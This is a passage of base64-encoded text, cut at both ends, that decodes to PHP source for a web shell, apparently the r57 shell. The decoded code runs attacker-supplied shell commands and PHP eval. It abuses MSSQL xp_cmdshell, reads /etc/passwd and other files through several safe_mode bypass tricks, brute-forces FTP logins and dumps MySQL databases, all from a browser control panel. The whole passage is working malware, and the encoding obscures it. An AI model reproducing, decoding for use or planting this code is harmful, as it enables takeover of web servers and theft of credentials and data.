B9DQogZWxzZSBpZighJHVzZXJzPWdldF91c2VycygpKSB7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxmb250IGNvbG9yPVdoaXRlIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9DQogQGZ0cF9jbG9zZSgkY29ubmVjdGlvbik7DQogfQ0KZWNobyAkdGFibGVfdXAzOw0KaWYgKGVtcHR5KCRfUE9TVFsnY21kJ10pJiYhJHNhZmVfbW9kZSkgeyAkX1BPU1RbJ2NtZCddPSghJHVuaXgpPygiZGlyIik6KCJscyAtbGlhIik7IH0NCmVsc2UgaWYoZW1wdHkoJF9QT1NUWydjbWQnXSkmJiRzYWZlX21vZGUpeyAkX1BPU1RbJ2NtZCddPSJzYWZlX2RpciI7IH0NCmVjaG8gJGZvbnQuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEnXS4iOiA8Yj4iLiRfUE9TVFsnY21kJ10uIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9bWFpbj48Yj48ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1yZXBvcnQgY29scz0xMjEgcm93cz0xNT4iOw0KaWYoJHNhZmVfbW9kZSkNCnsNCiBzd2l0Y2goJF9QT1NUWydjbWQnXSkNCiB7DQogY2FzZSAnc2FmZV9kaXInOg0KICAkZD1AZGlyKCRkaXIpOw0KICBpZiAoJGQpDQogICB7DQogICB3aGlsZSAoZmFsc2UhPT0oJGZpbGU9JGQtPnJlYWQoKSkpDQogICAgew0KICAgICBpZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7DQogICAgIEBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICBsaXN0ICgkZGV2LCAkaW5vZGUsICRpbm9kZXAsICRubGluaywgJHVpZCwgJGdpZCwgJGlub2RldiwgJHNpemUsICRhdGltZSwgJG10aW1lLCAkY3RpbWUsICRic2l6ZSkgPSBzdGF0KCRmaWxlKTsNCiAgICAgaWYoISR1bml4KXsNCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkiLCRtdGltZSk7DQogICAgIGlmKEBpc19kaXIoJGZpbGUpKSBlY2hvICIgIDxESVI+ICI7IGVsc2UgcHJpbnRmKCIlIDdzICIsJHNpemUpOw0KICAgICB9DQogICAgIGVsc2V7DQogICAgICRvd25lciA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgJGdyZ2lkID0gQHBvc2l4X2dldGdyZ2lkKCRnaWQpOw0KICAgICBlY2hvICRpbm9kZS4iICI7DQogICAgIGVjaG8gcGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOw0KICAgICBwcmludGYoIiUgNGQgJSA5cyAlIDlzICU3cyAiLCRubGluaywkb3duZXJbJ25hbWUnXSwkZ3JnaWRbJ25hbWUnXSwkc2l6ZSk7DQogICAgIGVjaG8gZGF0ZSgiZC5tLlkgSDppICIsJG10aW1lKTsNCiAgICAgfQ0KICAgICBlY2hvICIkZmlsZVxuIjsNCiAgICB9DQogICAkZC0+Y2xvc2UoKTsNCiAgIH0NCiAgZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS5fdGV4dDI5XTsNCiBicmVhazsNCiAgY2FzZSAndGVzdDEnOg0KICAkY2kgPSBAY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3Rlc3QxX2ZpbGUnXS4iIik7DQogICRjZiA9IEBjdXJsX2V4ZWMoJGNpKTsNCiAgZWNobyAkY2Y7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0Mic6DQogIEBpbmNsdWRlKCRfUE9TVFsndGVzdDJfZmlsZSddKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q0JzoNCiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pKSB7ICRfUE9TVFsndGVzdDRfcG9ydCddID0gIjE0MzMiOyB9DQogICRkYiA9IEBtc3NxbF9jb25uZWN0KCdsb2NhbGhvc3QsJy4kX1BPU1RbJ3Rlc3Q0X3BvcnQnXSwkX1BPU1RbJ3Rlc3Q0X21sJ10sJF9QT1NUWyd0ZXN0NF9tcCddKTsNCiAgaWYoJGRiKQ0KICAgew0KICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3Q0X21kJ10sJGRiKSkNCiAgICB7DQogICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJjcmVhdGUgdGFibGUgcjU3X3RlbXBfdGFibGUgKCBzdHJpbmcgVkFSQ0hBUiAoNTAwKSBOVUxMKSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJpbnNlcnQgaW50byByNTdfdGVtcF90YWJsZSBFWEVDIG1hc3Rlci5kYm8ueHBfY21kc2hlbGwgJyIuJF9QT1NUWyd0ZXN0NF9maWxlJ10uIiciLCRkYik7DQogICAgICRyZXMgPSBtc3NxbF9xdWVyeSgic2VsZWN0ICogZnJvbSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgd2hpbGUoKCRyb3c9QG1zc3FsX2ZldGNoX3JvdygkcmVzKSkpDQogICAgICB7DQogICAgICBlY2hvICRyb3dbMF0uIlxyXG4iOw0KICAgICAgfQ0KICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICB9DQogICAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7DQogICBAbXNzcWxfY2xvc2UoJGRiKTsNCiAgIH0NCiAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gTVNTUUwgc2VydmVyIjsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q1JzoNCiAgaWYgKEBmaWxlX2V4aXN0cygnL3RtcC9tYl9zZW5kX21haWwnKSkgQHVubGluaygnL3RtcC9tYl9zZW5kX21haWwnKTsNCiAgJGV4dHJhID0gIi1DICIuJF9QT1NUWyd0ZXN0NV9maWxlJ10uIiAtWCAvdG1wL21iX3NlbmRfbWFpbCI7DQogIEBtYl9zZW5kX21haWwoTlVMTCwgTlVMTCwgTlVMTCwgTlVMTCwgJGV4dHJhKTsNCiAgJGxpbmVzID0gZmlsZSAoJy90bXAvbWJfc2VuZF9tYWlsJyk7DQogIGZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZSkgeyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpLiJcclxuIjsgfQ0KICBicmVhazsNCiAgY2FzZSAndGVzdDYnOg0KICAkc3RyZWFtID0gQGltYXBfb3BlbignL2V0Yy9wYXNzd2QnLCAiIiwgIiIpOw0KICAkZGlyX2xpc3QgPSBAaW1hcF9saXN0KCRzdHJlYW0sIHRyaW0oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pLCAiKiIpOw0KICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZGlyX2xpc3QpOyAkaSsrKSBlY2hvICRkaXJfbGlzdFskaV0uIlxyXG4iOw0KICBAaW1hcF9jbG9zZSgkc3RyZWFtKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q3JzoNCiAgJHN0cmVhbSA9IEBpbWFwX29wZW4oJF9QT1NUWyd0ZXN0N19maWxlJ10sICIiLCAiIik7DQogICRzdHIgPSBAaW1hcF9ib2R5KCRzdHJlYW0sIDEpOw0KICBlY2hvICRzdHI7DQogIEBpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDgnOg0KICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWyd0ZXN0OF9maWxlMSddLCAkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10pKSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTgnXTsNCiAgZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTknXTsNCiAgYnJlYWs7DQogfQ0KfQ0KZWxzZSBpZigoJF9QT1NUWydjbWQnXSE9InBocF9ldmFsIikmJigkX1BPU1RbJ2NtZCddIT0ibXlzcWxfZHVtcCIpJiYoJF9QT1NUWydjbWQnXSE9ImRiX3F1ZXJ5IikmJigkX1BPU1RbJ2NtZCddIT0iZnRwX2JydXRlIikpew0KICRjbWRfcmVwID0gZXgoJF9QT1NUWydjbWQnXSk7DQogaWYoISR1bml4KSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGNvbnZlcnRfY3lyX3N0cmluZygkY21kX3JlcCwnZCcsJ3cnKSkuIlxuIjsgfQ0KIGVsc2UgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRjbWRfcmVwKS4iXG4iOyB9fQ0KaWYgKCRfUE9TVFsnY21kJ109PSJBbHVjYXJfbXlzcWwiKQ0KIHsNCiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0M19zciddKSkgeyAkX1BPU1RbJ3Rlc3QzX3NyJ10gPSAibG9jYWxob3N0IjsgfQ0KICBpZihlbXB0eSgkX1BPU1RbJ3Rlc3QzX3BvcnQnXSkpIHsgJF9QT1NUWyd0ZXN0M19wb3J0J10gPSAiMzMwNiI7IH0NCiAgJGRiID0gQG15c3FsX2Nvbm5lY3QoJF9QT1NUWyd0ZXN0M19zciddLic6Jy4kX1BPU1RbJ3Rlc3QzX3BvcnQnXSwkX1BPU1RbJ3Rlc3QzX21sJ10sJF9QT1NUWyd0ZXN0M19tcCddKTsNCiAgaWYoJGRiKQ0KICAgew0KICAgaWYoQG15c3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3QzX21kJ10sJGRiKSkNCiAgICB7DQogICAgIEBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgQWx1Y2FyIik7DQogICAgIEBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGBBbHVjYXJgICggYGZpbGVgIExPTkdCTE9CIE5PVCBOVUxMICkiKTsNCiAgICAgQG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFIFwiIi5zdHJfcmVwbGFjZSgnXFwnLCcvJywkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSkuIlwiIElOVE8gVEFCTEUgQWx1Y2FyIEZJRUxEUyBURVJNSU5BVEVEIEJZICcnIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnXG4nIik7DQogICAgICRyID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIEFsdWNhciIpOw0KICAgICB3aGlsZSgoJHJfc3FsID0gQG15c3FsX2ZldGNoX2FycmF5KCRyKSkpIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkcl9zcWxbMF0pOyB9DQogICAgIEBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgQWx1Y2FyIik7DQogICAgfQ0KICAgIGVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBzZWxlY3QgZGF0YWJhc2UiOw0KICAgQG15c3FsX2Nsb3NlKCRkYik7DQogICB9DQogIGVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjb25uZWN0IHRvIG15c3FsIHNlcnZlciI7DQogfQ0KaWYgKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKQ0KIHsNCiAkc3VjID0gMDsNCiBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikNCiAgew0KICAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOw0KICBpZihAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCR1c2VyLCR1c2VyKSkgeyBlY2hvICJbK10gJHVzZXI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfQ0KICBlbHNlIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSkgeyBpZihAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCR1c2VyLHN0cnJldigkdXNlcikpKSB7IGVjaG8gIlsrXSAkdXNlcjoiLnN0cnJldigkdXNlcikuIiAtIHN1Y2Nlc3NcclxuIjsgJHN1YysrOyB9IH0NCiAgQGZ0cF9jbG9zZSgkY29ubmVjdGlvbik7DQogIH0NCiBlY2hvICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4iOw0KICRjb3VudCA9IGNvdW50KCR1c2Vycyk7DQogaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pKSB7ICRjb3VudCAqPSAyOyB9DQogZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTcnXS4kY291bnQuIlxyXG4iOw0KIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk4J10uJHN1Yy4iXHJcbiI7DQogfQ0KaWYgKCRfUE9TVFsnY21kJ109PSJwaHBfZXZhbCIpew0KICRldmFsID0gQHN0cl9yZXBsYWNlKCI8PyIsIiIsJF9QT1NUWydwaHBfZXZhbCddKTsNCiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPz4iLCIiLCRldmFsKTsNCiBAZXZhbCgkZXZhbCk7fQ0KaWYgKCRfUE9TVFsnY21kJ109PSJteXNxbF9kdW1wIikNCiB7DQogIGlmKGlzc2V0KCRfUE9TVFsnZGlmJ10pKSB7ICRmcCA9IEBmb3BlbigkX1BPU1RbJ2RpZl9uYW1lJ10sICJ3Iik7IH0NCiAgJHNxbCA9IG5ldyBteV9zcWwoKTsNCiAgJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107DQogICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiAgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KICAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107DQogICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107DQogIGlmKCEkc3FsLT5jb25uZWN0KCkpIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXIiOyB9DQogIGVsc2UgaWYoISRzcWwtPnNlbGVjdF9kYigpKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsgfQ0KICBlbHNlIGlmKCEkc3FsLT5kdW1wKCRfUE9TVFsnbXlzcWxfdGJsJ10pKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY3JlYXRlIGR1bXAiOyB9DQogIGVsc2Ugew0KICAgaWYoZW1wdHkoJF9QT1NUWydkaWYnXSkpIHsgZm9yZWFjaCgkc3FsLT5kdW1wIGFzICR2KSBlY2hvICR2LiJcclxuIjsgfQ0KICAgZWxzZSBpZigkZnApeyBmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpIEBmcHV0cygkZnAsJHYuIlxyXG4iKTsgfQ0KICAgZWxzZSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgd3JpdGUgaW4gZHVtcCBmaWxlIjsgfQ0KICAgfQ0KIH0NCmVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+IjsNCmVjaG8gIjwvYj4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4iOw0KZnVuY3Rpb24gZGl2X3RpdGxlKCR0aXRsZSwgJGlkKQ0Kew0KICByZXR1cm4gJzxhIHN0eWxlPSJjdXJzb3I6IHBvaW50ZXI7IiBvbkNsaWNrPSJjaGFuZ2VfZGl2c3QoXCcnLiRpZC4nXCcpOyI+Jy4kdGl0bGUuJzwvYT4nOw0KfQ0KZnVuY3Rpb24gZGl2KCRpZCkNCiB7DQogaWYoaXNzZXQoJF9DT09LSUVbJGlkXSkgJiYgJF9DT09LSUVbJGlkXT09MCkgcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPic7DQogcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIj4nOw0KIH0NCmlmKCEkc2FmZV9tb2RlKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyJ10sJ2lkMScpLiR0YWJsZV91cDIuZGl2KCdpZDEnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2NtZCcsODUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw4NSwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVsc2V7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjgnXSwnaWQyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdzYWZlX2RpcicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDYnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQyJ10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdlX25hbWUnLDg1LCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2VkaXRfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KaWYoJG15c3FsX29uKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM1J10sJ2lkMTInKS4kdGFibGVfdXAyLmRpdignaWQxMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0M19zcicsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX3NyJ10pPygkX1BPU1RbJ3Rlc3QzX3NyJ10pOigibG9jYWxob3N0IikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfbWQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tZCddKT8oJF9QT1NUWyd0ZXN0M19tZCddKTooIkFsdWNhciIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX21sJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbWwnXSk/KCRfUE9TVFsndGVzdDNfbWwnXSk6KCJyb290IikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfbXAnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tcCddKT8oJF9QT1NUWyd0ZXN0M19tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX3BvcnQnXSk/KCRfUE9TVFsndGVzdDNfcG9ydCddKTooIjMzMDYiKSkpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QzX2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19maWxlJ10pPygkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdBbHVjYXJfbXlzcWwnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU3J10sJ2lkNCcpLiR0YWJsZV91cDIuZGl2KCdpZDQnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdta19uYW1lJyw1NCwoIWVtcHR5KCRfUE9TVFsnbWtfbmFtZSddKT8oJF9QT1NUWydta19uYW1lJ10pOigibmV3X25hbWUiKSkpLndzKDQpLiI8c2VsZWN0IG5hbWU9YWN0aW9uPjxvcHRpb24gdmFsdWU9Y3JlYXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGVsZXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY2J10uIjwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMykuIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24gdmFsdWU9ZmlsZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiI8L29wdGlvbj48b3B0aW9uIHZhbHVlPWRpcj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MCddLiI8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdjbWQnLDAsJ21rJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMyddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlICYmICR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NyddLCdpZDUnKS4kdGFibGVfdXAyLmRpdignaWQ1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjgnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9d2hhdD48b3B0aW9uIHZhbHVlPW1vZD5DSE1PRDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9b3duPkNIT1dOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1ncnA+Q0hHUlA8L29wdGlvbj48L3NlbGVjdD4iLndzKDIpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2OSddLiRhcnJvdy4iPC9iPiIud3MoMikuaW4oJ3RleHQnLCdwYXJhbTEnLDQwLCgoJF9QT1NUWydwYXJhbTEnXSk/KCRfUE9TVFsncGFyYW0xJ10pOigiZmlsZW5hbWUiKSkpLndzKDIpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MCddLiRhcnJvdy4iPC9iPiIud3MoMikuaW4oJ3RleHQnLCdwYXJhbTIgdGl0bGU9IicuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcxJ10uJyInLDI2LCgoJF9QT1NUWydwYXJhbTInXSk/KCRfUE9TVFsncGFyYW0yJ10pOigiMDc3NyIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnY2hfJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCEkc2FmZV9tb2RlKXsNCiRhbGlhc2VzMiA9ICcnOw0KZm9yZWFjaCAoJGFsaWFzZXMgYXMgJGFsaWFzX25hbWU9PiRhbGlhc19jbWQpDQogew0KICRhbGlhc2VzMiAuPSAiPG9wdGlvbj4kYWxpYXNfbmFtZTwvb3B0aW9uPiI7DQogfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcnXSwnaWQ2JykuJHRhYmxlX3VwMi5kaXYoJ2lkNicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIud3MoOSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgnXS4kYXJyb3cud3MoNCkuIjwvYj4iLCI8c2VsZWN0IG5hbWU9YWxpYXM+Ii4kYWxpYXNlczIuIjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NCddLCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU1J10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCdtIGlkPW0nLDAsJzEnKS5pbigndGV4dCcsJ3NfbWFzaycsODIsJy50eHQ7LnBocCcpLiIqICggLnR4dDsucGhwOy5odG0gKSIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2VhcmNoX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKCEkc2FmZV9tb2RlICYmICR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NiddLCdpZDgnKS4kdGFibGVfdXAyLmRpdignaWQ4JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pK